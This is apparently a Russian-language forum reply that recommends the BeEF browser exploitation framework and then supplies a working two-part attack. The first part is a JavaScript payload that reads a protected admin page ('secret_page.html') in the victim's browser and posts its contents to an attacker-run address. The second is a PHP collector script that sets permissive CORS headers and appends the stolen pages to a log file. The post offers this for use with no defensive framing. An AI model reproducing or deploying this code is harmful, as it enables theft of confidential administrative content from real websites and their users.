Можно поразбираться с
http://beefproject.com/.
Если мероприятие разовое или любишь велостроение, то можно вот так:
PHP код:
<html>
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://admin.domen.com/secret_page.html', true);
xhr.send(null);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if(xhr.status == 200) {
var fhr = new XMLHttpRequest();
fhr.open('POST', 'http://your-domain.com/s.php', true);
fhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
fhr.withCredentials = true;
var body = 'file=' + escape(xhr.responseText);
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
fhr.send(new Blob([aBody]));
}
}
}
</script>
</html>
s.php:
PHP код:
<?php
header('Access-Control-Allow-Origin: https://admin.domen.com');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Methods: OPTIONS, GET, POST');
header('Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control');
file_put_contents('./log.html', urldecode($_POST['file'])."<hr>", FILE_APPEND);
?>